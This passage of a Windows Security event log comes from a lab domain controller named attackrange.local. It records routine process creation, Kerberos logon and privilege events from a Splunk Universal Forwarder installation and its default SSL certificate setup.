Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250012
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaa4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2ec
	Creator Process Name:	C:\Windows\System32\msiexec.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal first-time-run --answer-yes --no-prompt >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250011
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2ec
	New Process Name:	C:\Windows\System32\msiexec.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5e4
	Creator Process Name:	C:\Windows\System32\msiexec.exe
	Process Command Line:	C:\Windows\System32\MsiExec.exe -Embedding 4822D0BFA173BBED231C101DB7D36611 E Global\MSI0000

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250010
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF6A0B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250009
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF6A0B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64373

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250008
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF6A0B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250007
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF6981

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250006
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF6981
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64372

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250005
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF6981

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250004
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF68FA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250003
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF68FA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64371

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250002
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF68FA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250001
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF6899

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250000
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF6899
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64370

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249999
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF6899

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250035
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250034
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\openssl.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x109c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\openssl" x509 -subject -issuer -dates -passin pass:password -noout -in "C:\Program Files\SplunkUniversalForwarder\etc\auth\server.pem"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250033
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\openssl.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x109c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\openssl" x509 -req -in "C:\Program Files\SplunkUniversalForwarder\etc\auth\serverreq.pem" -sha256 -passin pass:password -extensions usr_cert -CA ca.pem -CAkey ca.pem -CAcreateserial -out "C:\Program Files\SplunkUniversalForwarder\etc\auth\servercert.pem" -days 1095

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250032
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\openssl.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x109c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\openssl" req -newkey rsa:2048 -passout pass:password -sha256 -batch -subj /commonName=SplunkServerDefaultCert/organizationName=SplunkUser/ -keyout "C:\Program Files\SplunkUniversalForwarder\etc\auth\serverkey.pem" -out "C:\Program Files\SplunkUniversalForwarder\etc\auth\serverreq.pem" -config "C:\Program Files\SplunkUniversalForwarder\openssl.cnf"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250031
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x109c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1078
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk" createssl server-cert -n "C:\Program Files\SplunkUniversalForwarder\etc\auth\server" -d "C:\Program Files\SplunkUniversalForwarder\etc\auth" -c SplunkServerDefaultCert

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250030
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1078
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250029
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF9784

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250028
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF9784
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64377

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250027
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF9784

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250026
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
